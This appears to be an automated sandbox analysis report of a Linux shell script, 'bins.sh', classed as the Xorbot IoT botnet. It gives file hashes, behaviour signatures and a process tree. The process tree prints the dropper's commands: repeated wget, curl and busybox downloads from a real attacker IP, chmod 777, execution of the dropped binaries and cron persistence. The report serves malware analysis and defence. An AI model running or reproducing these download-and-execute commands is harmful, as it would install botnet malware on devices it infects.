Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    92s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30-11-2024 14:17

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a5d3dc448d642344e13e489694683276

  • SHA1

    beb14c3403aa18f04afe4401a7c5743b7adb936e

  • SHA256

    2683366855076f245c7ce03f71402314abdf64cffa41f23fa8a2639589722e43

  • SHA512

    7ae86b3efed87a06d4fcab9bb88c0d3c54089acea20c3a27f45c654b847d2f3e825002156db957a51c22fa28480c26b08b873e8afe8e1aeadfa6ae7e7e856abf

  • SSDEEP

    192:3+GW2OINZsAcyZhThDxapTfXsMo06HHNSWbn/aSKF5dTfXsM00cHHNSWDdaSKF5u:I2OINZ/hDkpTfXsMo0En/aSKF5dTfXsv

Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:668
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:674
        • /usr/bin/wget
          wget http://216.126.231.240/bins/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
          • Writes file to tmp directory
          PID:675
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:690
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
          • Writes file to tmp directory
          PID:700
        • /bin/chmod
          chmod 777 SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
          • File and Directory Permissions Modification
          PID:702
        • /tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          ./SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
          • Executes dropped EXE
          PID:704
        • /bin/rm
          rm SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
            PID:707
          • /usr/bin/wget
            wget http://216.126.231.240/bins/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
            • Writes file to tmp directory
            PID:708
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:711
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
            • Writes file to tmp directory
            PID:717
          • /bin/chmod
            chmod 777 d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
            • File and Directory Permissions Modification
            PID:721
          • /tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            ./d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
            • Executes dropped EXE
            PID:722
          • /bin/rm
            rm d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
              PID:724
            • /usr/bin/wget
              wget http://216.126.231.240/bins/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              2⤵
              • Writes file to tmp directory
              PID:726
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:732
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              2⤵
              • Writes file to tmp directory
              PID:739
            • /bin/chmod
              chmod 777 R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              2⤵
              • File and Directory Permissions Modification
              PID:742
            • /tmp/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              ./R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              2⤵
              • Executes dropped EXE
              PID:744
            • /bin/rm
              rm R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              2⤵
                PID:746
              • /usr/bin/wget
                wget http://216.126.231.240/bins/X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
                2⤵
                • Writes file to tmp directory
                PID:748
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:753
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
                2⤵
                • Writes file to tmp directory
                PID:765
              • /bin/chmod
                chmod 777 X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
                2⤵
                • File and Directory Permissions Modification
                PID:769
              • /tmp/X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
                ./X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:771
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:773
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:774
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:776
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:777
                    • /bin/rm
                      rm X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
                      2⤵
                        PID:780
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/nfhgK2ZojS0KR6R4TOvuzF35R9l2x2PRo7
                        2⤵
                          PID:783
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/nfhgK2ZojS0KR6R4TOvuzF35R9l2x2PRo7
                          2⤵
                            PID:784
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/nfhgK2ZojS0KR6R4TOvuzF35R9l2x2PRo7
                            2⤵
                            • Writes file to tmp directory
                            PID:785
                          • /bin/chmod
                            chmod 777 nfhgK2ZojS0KR6R4TOvuzF35R9l2x2PRo7
                            2⤵
                            • File and Directory Permissions Modification
                            PID:786
                          • /tmp/nfhgK2ZojS0KR6R4TOvuzF35R9l2x2PRo7
                            ./nfhgK2ZojS0KR6R4TOvuzF35R9l2x2PRo7
                            2⤵
                            • Executes dropped EXE
                            PID:787
                          • /bin/rm
                            rm nfhgK2ZojS0KR6R4TOvuzF35R9l2x2PRo7
                            2⤵
                              PID:788
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/6yHH6gaJDerqNhWrlZWKOHwjFycl6PM7tH
                              2⤵
                                PID:789
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/6yHH6gaJDerqNhWrlZWKOHwjFycl6PM7tH
                                2⤵
                                  PID:790
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/6yHH6gaJDerqNhWrlZWKOHwjFycl6PM7tH
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:791
                                • /bin/chmod
                                  chmod 777 6yHH6gaJDerqNhWrlZWKOHwjFycl6PM7tH
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:794
                                • /tmp/6yHH6gaJDerqNhWrlZWKOHwjFycl6PM7tH
                                  ./6yHH6gaJDerqNhWrlZWKOHwjFycl6PM7tH
                                  2⤵
                                  • Executes dropped EXE
                                  PID:796
                                • /bin/rm
                                  rm 6yHH6gaJDerqNhWrlZWKOHwjFycl6PM7tH
                                  2⤵
                                    PID:799
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/PBhVoghMO3lwvkdmZobasLyVGzCLi83ug0
                                    2⤵
                                      PID:800
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/PBhVoghMO3lwvkdmZobasLyVGzCLi83ug0
                                      2⤵
                                        PID:802

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    • /tmp/6yHH6gaJDerqNhWrlZWKOHwjFycl6PM7tH
                                      Filesize

                                      151KB

                                      MD5

                                      6c583043d91c55aa470c08c87058e917

                                      SHA1

                                      abf65a5b9bba69980278ad09356e53de8bb89439

                                      SHA256

                                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                      SHA512

                                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                      Download Submit

                                    • /tmp/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
                                      Filesize

                                      98KB

                                      MD5

                                      5141342d0df8699fa32a6b066a0c592e

                                      SHA1

                                      8157673225bd5182f16215e2aa823a25ca2d4fbc

                                      SHA256

                                      54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                      SHA512

                                      d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                      Download Submit

                                    • /tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
                                      Filesize

                                      111KB

                                      MD5

                                      701e7a55a4f3650f5feee92a9860e5fc

                                      SHA1

                                      6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                      SHA256

                                      ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                      SHA512

                                      7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                      Download Submit

                                    • /tmp/X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
                                      Filesize

                                      141KB

                                      MD5

                                      3ca8decdb1e52c423c521bfff02ac200

                                      SHA1

                                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                                      SHA256

                                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                      SHA512

                                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                      Download Submit

                                    • /tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
                                      Filesize

                                      122KB

                                      MD5

                                      cd3d4b9c643e5b473fb4d88ed05f0716

                                      SHA1

                                      64ee7a97418583d759eaea8000890cc3bae1b5f4

                                      SHA256

                                      0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                      SHA512

                                      164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                      Download Submit

                                    • /tmp/nfhgK2ZojS0KR6R4TOvuzF35R9l2x2PRo7
                                      Filesize

                                      127KB

                                      MD5

                                      89077b7bd4bcafca7713be43635c4862

                                      SHA1

                                      fc02edb8fba29ea8ee99e6157ef8560334530052

                                      SHA256

                                      78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                      SHA512

                                      1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                      Download Submit

                                    • /var/spool/cron/crontabs/tmp.KYLitl
                                      Filesize

                                      210B

                                      MD5

                                      b1ae3cbac08897e57637890a192d7f2f

                                      SHA1

                                      673512936051d77ef95d51df265f5f88f07ba87d

                                      SHA256

                                      d43de4e69758b4245d832f99be56ea27ce147ff45fba16a3fccd9839f2f3ae34

                                      SHA512

                                      657c76a8dfeb824cde651e2811643e30c7a3172e42d80df5124dd1f02d5a55aed02b7d8fe912ff9f303bc1b4f3fef4e3d97e7bf1d2cec5ed8526e887255f6757

                                      Download Submit